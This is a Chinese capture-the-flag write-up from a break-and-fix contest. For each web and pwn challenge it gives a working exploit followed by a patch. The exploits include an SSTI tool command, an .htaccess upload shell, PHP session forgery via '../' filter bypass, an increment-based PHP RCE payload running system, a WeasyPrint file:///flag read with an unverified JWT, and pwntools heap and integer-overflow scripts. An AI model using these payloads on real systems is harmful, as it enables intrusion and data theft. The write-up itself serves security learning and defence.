Break和Fix阶段都是小组第一
比赛的时候没写wp,赛后复现
web-ezSSTI Break 焚靖 一把梭python -m fenjing crack --url "http://192.168.100.100:10007/" --method GET --inputs name --environment jinja
Fix app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flask,requestfrom jinja2 import Templateimport re app = Flask(__name__)@app.route("/" ) def index (): name = request.args.get('name' ,'CTFer<!--?name=CTFer' ) if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen" ,name): t = Template("hello " +name) return t.render() else : t = Template("Hacker!!!" ) return t.render()if __name__ == "__main__" : app.run(host="0.0.0.0" ,port=5000 )
直接在正则中添加",(),[],\等符号,注意不要过滤太严格,否则过不了check
web-easyupload Break F12可以看到账号密码,admin/hgrehhterh,跳转到dadaadwdwfegrgewg.php,一个文件上传点
上传.htaccess后传图片拿shell
AddType application/x-httpd-php .png
Fix dadaadwdwfegrgewg.php
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);
define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
<div id="upload_panel">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</div>
黑名单中加个.htaccess可以直接过check
$deny_ext = array(".php",".php5",".php4",".htaccess",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
web-BabyMemo Break 扫目录下载www.zip
index.php部分源码
<?php
ob_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['username']) && !empty($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];
if (!isset($_SESSION['memos'])) {
$_SESSION['memos'] = [];
}
echo '<script>window.location.href="memo.php";</script>';
exit;
} else {
echo '<script>window.location.href="index.php?error=1";</script>';
exit;
}
}
ob_end_flush();
?>
memo.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 <?php session_start ();if (!isset ($_SESSION ['username' ])) { header ('Location: index.php' ); exit (); }if (isset ($_POST ['memo' ]) && !empty ($_POST ['memo' ])) { $_SESSION ['memos' ][] = $_POST ['memo' ]; }if (isset ($_POST ['backup' ])) { $backupMemos = implode (PHP_EOL, $_SESSION ['memos' ]); $random = bin2hex (random_bytes (8 )); $filename = '/tmp/' . $_SESSION ['username' ] . '_' . $random ; $compressionMethod = $_POST ['compression' ] ?? 'none' ; switch ($compressionMethod ) { case 'gzip' : $compressedData = gzencode ($backupMemos ); $filename .= '.gz' ; $mimeType = 'application/gzip' ; break ; case 'bzip2' : $compressedData = bzcompress ($backupMemos ); $filename .= '.bz2' ; $mimeType = 'application/x-bzip2' ; break ; case 'zip' : $zip = new ZipArchive (); $zipFilename = $filename . '.zip' ; if ($zip ->open ($zipFilename , ZipArchive ::CREATE ) === true ) { $zip ->addFromString ($filename , $backupMemos ); $zip ->close (); } $filename = $zipFilename ; $mimeType = 'application/zip' ; break ; case 'none' : $compressedData = $backupMemos ; $filename .= '.txt' ; $mimeType = 'text/plain' ; break ; default : $compressedData = str_rot13 ($backupMemos ); $filename .= '.' . $compressionMethod ; $mimeType = 'text/plain' ; while (strpos ($filename , '../' ) !== false ) { $filename = str_replace ('../' , '' , $filename ); } break ; } file_put_contents ($filename , $compressedData ); header ('Content-Description: File Transfer' ); header ('Content-Type: ' . $mimeType ); header ('Content-Disposition: attachment; filename="' . basename ($filename ) . '"' ); header ('Content-Length: ' . filesize ($filename )); readfile ($filename ); }?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>Memo</title> <style> body { background-color: beige; font-family: Arial, sans-serif; } h1, h2 { color: darkslategray; margin-top: 30 px; margin-bottom: 10 px; } form { margin: 30 px auto; width: 80 %; padding: 20 px; background-color: white; border-radius: 10 px; box-shadow: 0 px 0 px 10 px 2 px rgba (0 , 0 , 0 , 0.3 ); } label { display: block; margin-bottom: 10 px; } input[type="text" ], select { width: 100 %; padding: 10 px; border-radius: 5 px; border: none; margin-bottom: 20 px; } button[type="submit" ] { background-color: darkslategray; color: white; border: none; padding: 10 px 20 px; border-radius: 5 px; cursor: pointer; } </style> </head> <body> <h1>Welcome, <?php echo htmlspecialchars ($_SESSION ['username' ]); ?> </h1> <form action="memo.php" method="post" > <label for ="memo" >New Memo:</label> <input type="text" name="memo" id="memo" required> <button type="submit" >Add Memo</button> </form> <h2>Here 1 s Your Memos:</h2> <ul> <?php foreach ($_SESSION ['memos' ] as $memo ) : ?> <li><?php echo htmlspecialchars ($memo ); ?> </li> <?php endforeach ; ?> <?php if (isset ($_SESSION ['admin' ]) && $_SESSION ['admin' ] === true ) : ?> <li><?php system ("cat /flag" ); ?> </li> <!-- Only admin can get flag --> <?php endif ?> </ul> <form action="memo.php" method="post" > <label for ="compression" >Compression method:</label> <select name="compression" id="compression" > <option value="none" >None</option> <option value="gzip" >GZIP</option> <option value="bzip2" >BZIP2</option> <option value="zip" >ZIP</option> </select> <button type="submit" name="backup" value="1" >Export Backup</button> </form> </body> </html>
1:首先很明显,当$_SESSION['admin'] === true时就给flag,所以我们需要伪造session
1 2 3 <?php if (isset ($_SESSION ['admin' ]) && $_SESSION ['admin' ] === true ) : ?> <li><?php system ("cat /flag" ); ?> </li> <!-- Only admin can get flag --><?php endif ?>
2:网页有个下载功能点,可以自定义后缀
但是过滤了../
1 2 3 4 5 6 7 8 9 default : $compressedData = str_rot13 ($backupMemos ); $filename .= '.' . $compressionMethod ; $mimeType = 'text/plain' ; while (strpos ($filename , '../' ) !== false ) { $filename = str_replace ('../' , '' , $filename ); } break ;
3:接着file_put_contents写到/tmp目录下,格式为用户名_随机数.文件后缀,其中用户名和文件后缀是可控的
1 2 3 4 5 6 7 8 9 10 11 12 $random = bin2hex (random_bytes (8 ));$filename = '/tmp/' . $_SESSION ['username' ] . '_' . $random ;$compressionMethod = $_POST ['compression' ] ?? 'none' ;$filename .= '.' . $compressionMethod ;file_put_contents ($filename , $compressedData );header ('Content-Description: File Transfer' );header ('Content-Type: ' . $mimeType );header ('Content-Disposition: attachment; filename="' . basename ($filename ) . '"' );header ('Content-Length: ' . filesize ($filename ));readfile ($filename );
根据第二点和第三点可以得知,当传compression值为./时,与前面的.组合变成../,然后被替换成空,就可以修改文件格式为用户名_随机数
而在php中,session文件默认位置是/tmp/sess_PHPSESSID,那么我们就可以把伪造的内容写入文件,然后设置PHPSESSID去访问
本题用的解析引擎是默认的php,格式为键名 + 竖线 + 经过serialize()函数序列化处理的值,例如username|s:1:"q";memos|a:1:{i:0;s:1:"a";}
我们可以伪造一个admin|b:1;username|s:5:"admin";,注意代码中还有一层str_rot13,变成nqzva|o:1;hfreanzr|f:5:"nqzva";
然后用sess登录后写入进memos
设置后缀为./,写入到sess_46364caa4533f999
设置PHPSESSID为46364caa4533f999访问拿到flag
Fix 我的修法应该是非预期了
直接修改读flag的命令就过了
1 2 3 <?php if (isset ($_SESSION ['admin' ]) && $_SESSION ['admin' ] === true ) : ?> <li><?php system ("cat flag" ); ?> </li> <!-- Only admin can get flag --><?php endif ?>
正常可以设置一个判断,使用户不能等于sess或者在后缀处加个白名单等等
web-fuzee_rce Break 弱口令admin/admin123直接登录后跳转到goods.php,然后就是一片空白,当时比赛时尝试了几个常见的参数,都没试出来就放弃了,在Fix阶段看到源码后没想到参数是w1key
传参后拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting (0 );include ("check.php" );if (isset ($_GET ['w1key' ])) { highlight_file (__FILE__ ); $w1key = $_GET ['w1key' ]; if (is_numeric ($w1key ) && intval ($w1key ) == $w1key && strlen ($w1key ) <= 3 && $w1key > 999999999 ) { echo "good" ; } else { die ("Please input a valid number!" ); } }if (isset ($_POST ['w1key' ])) { $w1key = $_POST ['w1key' ]; strCheck ($w1key ); eval ($w1key ); }?> Please input a valid number!
第一个if没啥用,要过的话用科学计数法就行
第二个if存在一个代码执行,但是有个waf,会过滤一些字符,同时存在长度限制
先fuzz看下能用的符号
可以用自增rce
w1key=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=ls
Fix 比赛时修的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function strCheck ($w1key ) { if (is_string ($w1key ) && strlen ($w1key ) <= 83 ) { if (!preg_match ("/[1-9a-zA-Z!,()\[\]\/%+@'#^&%*:\.{}\-<\?>\"|`~\\\\]/" ,$w1key )){ return $w1key ; }else { die ("黑客是吧,我看你怎么黑!" ); } } else { die ("太长了" ); } }
web-Oh! My PDF Break
忘记当时有没有给源码了,就先当没有源码来分析吧
有个注册和登录功能,主页面的功能是访问提供的url并转成pdf然后下载
随意注册一个账号登录后提示需要是admin权限才能操作
抓包发现使用了jwt,尝试空密钥直接修改isadmin的值后成功绕过
然后是主功能点,试了下不能使用类似file://的协议,只能使用http:// 在vps上开个监听,访问后可以看到WeasyPrint库的特征
这个爬虫虽然不会渲染js,但是却可以解析<link attachment=xxx>,因此我们可以在vps上构造payload: <link rel="attachment" href="file:///etc/passwd">来实现任意文件读取
例如
1 2 3 4 5 6 7 8 9 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > </head > <body > <link rel ="attachment" href ="file:///flag" > </body > </html >
然后去访问这个页面,返回一个pdf,用binwalk提取就能看到文件内容了
Fix 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_forfrom flask_sqlalchemy import SQLAlchemyimport jwtimport refrom urllib.parse import urlsplitfrom flask_weasyprint import HTML, render_pdffrom werkzeug.security import generate_password_hash, check_password_hashimport os app = Flask(__name__) app.config['SECRET_KEY' ] = os.urandom(10 ) app.config['SQLALCHEMY_DATABASE_URI' ] = 'sqlite:///users.db' db = SQLAlchemy(app) URL_REGEX = re.compile ( r'http(s)?://' r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+' )class User (db.Model): id = db.Column(db.Integer, primary_key=True ) username = db.Column(db.String(80 ), unique=True , nullable=False ) password = db.Column(db.String(80 ), nullable=False ) is_admin = db.Column(db.Boolean, nullable=False , default=False )def create_database (app ): with app.app_context(): db.create_all()def is_valid_url (url ): if not URL_REGEX.match (url): return False return True @app.route('/register' , methods=['POST' ,'GET' ] ) def register (): if request.method == 'POST' : try : data = request.form hashed_password = generate_password_hash(data['password' ]) new_user = User(username=data['username' ], password=hashed_password, is_admin=False ) db.session.add(new_user) db.session.commit() return render_template('register.html' ,message='User registered successfully' ) except : return render_template('register.html' ,message='Register Error!' ),500 else : return render_template('register.html' ,message='please register first!' )@app.route('/login' , methods=['POST' ,'GET' ] ) def login (): if request.method == 'POST' : data = request.form user = User.query.filter_by(username=data['username' ]).first() if user and check_password_hash(user.password, data['password' ]): access_token = jwt.encode( {'username' : user.username, 'isadmin' :False }, app.config['SECRET_KEY' ], algorithm="HS256" ) res = make_response(redirect(url_for('ohmypdf' ))) res.set_cookie('access_token' ,access_token) return res, 200 else : return render_template('login.html' ,message='Invalid username or password' ), 500 else : return render_template('login.html' ), 200 @app.route('/' , methods=['GET' , 'POST' ] ) def ohmypdf (): access_token = request.cookies.get('access_token' ) if not access_token: return redirect(url_for("login" )) try : decoded_token = jwt.decode( access_token, app.config['SECRET_KEY' ], algorithms=["HS256" ],options={"verify_signature" : False }) isadmin = decoded_token['isadmin' ] except : return render_template('login.html' ,message='Invalid access token' ) if not isadmin: return render_template('index.html' ,message='You do not have permission to access this resource. Where is the admin?!' ), 403 if request.method == 'POST' : url = request.form.get('url' ) if is_valid_url(url): try : html = HTML(url=url) pdf = html.write_pdf() response = make_response(pdf) response.headers['Content-Type' ] = 'application/pdf' response.headers['Content-Disposition' ] = 'attachment; filename=output.pdf' return response except Exception as e: return f'Error generating PDF' , 500 else : return f'Invalid URL!' else : return render_template("index.html" ), 200 if __name__ == '__main__' : create_database(app) app.run(host='0.0.0.0' , port=8080 )
看下代码中关于jwt的部分,可以从这部分入手
1 2 3 4 5 6 7 8 9 app.config['SECRET_KEY' ] = os.urandom(10 ) access_token = jwt.encode( {'username' : user.username, 'isadmin' :False }, app.config['SECRET_KEY' ], algorithm="HS256" ) decoded_token = jwt.decode( access_token, app.config['SECRET_KEY' ], algorithms=["HS256" ],options={"verify_signature" : False }) isadmin = decoded_token['isadmin' ]
{"verify_signature": False} 修改成 {"verify_signature": True}
参考文章1 参考文章2
pwn-arrary_index_bank Break 整数溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *def show (ind ): p.sendlineafter('>' ,'1' ) p.sendlineafter('account?' ,str (ind)) p.readuntil('=' ) d=int (p.readline()) return ddef edit (ind,data ): p.sendlineafter('>' ,'2' ) p.sendlineafter('account?' ,str (ind)) p.sendlineafter('much?' ,str (data)) e=ELF("./pwn" ) p=process("./pwn" ) d=show(-1 )print (hex (d)) win=d-0x1426 +0x1315 e.address=d-0x1426 d=show(-2 )print (hex (d)) stack=d-0x30 you=e.address+0x4010 ind=(you-stack)//8 edit(ind,0x20 )print (edit(7 ,win)) p.interactive()
Fix 修改jle指令变成jbe
JBE用于无符号数比较,JLE用于有符号数比较
pwn-easy_force Break house_of_force
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *import time context.log_level='debug' def add (ind,size,data='\n' ,end=False ): p.sendlineafter('away' ,'1' ) p.sendlineafter('index?' ,str (ind)) p.sendlineafter('want?' ,str (size)) p.sendafter('write?' ,data) if end==False : p.readuntil('balckbroad on ' ) d=int (p.readuntil(' ' ),16 ) return d gadget=0x6a2226 puts=0x6f6a0 def pwn (p ): chunk1=add(0x0 ,0x18 ,b'\x00' *0x18 +b'\xff' *8 ) top_chunk=chunk1+0x20 to=0x602000 chunk2=add(1 ,(to-top_chunk)) chunk3=add(2 ,0x58 ,b'a' *0x18 +gadget.to_bytes(3 ,'little' ),True ) print (hex (chunk2)) p.sendline("asdfasdf" ) d=p.readuntil('asdfasdf' ,timeout=0.01 ) if b'asdf' not in d: return p.interactive() pass while True : try : p=process('./pwn' ) pwn(p) except Exception as e: print (e) pass p.close() time.sleep(0.01 )
Fix 修改写入数据长度 0x30-->0x10
pwn-Printf but not fmtstr Break 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import * context.arch='amd64' def add (ind,size ): p.sendlineafter(b'>' ,b'1' ) p.sendlineafter(b'Index:' ,str (ind)) p.sendlineafter(b'Size:' ,str (size))def free (ind ): p.sendlineafter(b'>' ,b'2' ) p.sendlineafter(b'Index: ' ,str (ind))def edit (ind,data ): p.sendlineafter(b'>' ,b'3' ) p.sendlineafter(b'Index: ' ,str (ind)) p.sendafter(b'Content: ' ,data)def show (ind ): p.sendlineafter(b'>' ,b'4' ) p.sendlineafter(b'Index: ' ,str (ind)) libc=ELF("./pwn2lib" ) p=process('./pwn2' ) gdb.attach(p) add(0 ,0x508 ) add(1 ,0x518 ) add(4 ,0x518 ) add(2 ,0x518 ) add(3 ,0x518 ) free(2 ) show(2 ) p.readuntil(b'Content: ' ) lbin=u64(p.readuntil('\n' ,drop=1 ).ljust(8 ,b'\x00' )) libc.address=lbin-0x40 -62 *0x10 -0x60 -0x10 -0x1f6830 -0x430 success(f"{libc.address=:x} " ) add(4 ,0x600 ) edit(2 ,p64(lbin)*2 +p64(0x404140 )*2 ) free(0 ) add(5 ,0x600 ) show(2 ) p.readuntil(b'Content: ' ) chunk0=u64(p.readuntil('\n' ,drop=1 ).ljust(8 ,b'\x00' )) success(f"{chunk0=:x} " ) fc=0x4040e0 add(6 ,0x508 ) payload=flat({0 :[0 ,0x501 ,fc-0x18 ,fc-0x10 ],0x500 :[0x500 ,0x520 ]},filler=b'\x00' ) edit(0 ,payload) free(1 ) edit(0 ,p64(0x4040e0 )*16 ) edit(0 ,p64(0x404000 )) edit(0 ,p64(0x4011d6 )) free(1 ) p.interactive()
Fix 修改plt表中的free函数项,使其在执行时跳转到自己构造的指令位置,用于执行free函数并将指针数组中被释放的chunk的地址设置为NULL